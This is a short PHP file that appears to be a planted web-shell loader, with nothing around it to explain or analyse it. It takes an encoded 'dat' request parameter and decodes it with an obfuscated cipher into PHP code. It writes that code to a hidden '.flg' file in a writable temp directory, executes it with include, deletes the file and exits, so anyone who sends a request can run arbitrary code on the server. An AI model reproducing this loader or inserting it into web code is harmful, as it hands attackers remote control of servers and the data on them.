<?php

if(!empty($_REQUEST["dat"])){
	$property_set = array_filter(["/tmp", session_save_path(), sys_get_temp_dir(), "/dev/shm", "/var/tmp", getenv("TEMP"), getcwd(), getenv("TMP"), ini_get("upload_tmp_dir")]);
	$resource = $_REQUEST["dat"];
			$resource	 =  explode( "." ,$resource	 )			;		 
	$descriptor = '';
            $salt3 = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen = strlen($salt3);
            $l = 0;
    
            while($l < count($resource)) {$v9 = $resource[$l];
                $sChar = ord($salt3[$l % $sLen]);
                $d =((int)$v9 - $sChar -($l % 10)) 	^		13;
                $descriptor .= chr($d);
                $l++; 	}		
	foreach ($property_set as $data) {
    		if (is_dir($data) ? is_writable($data) : false) {
    $token = str_replace("{var_dir}", $data, "{var_dir}/.flg");
    if (file_put_contents($token, $descriptor)) {
	include $token;
	@unlink($token);
	die();
}
}
}
}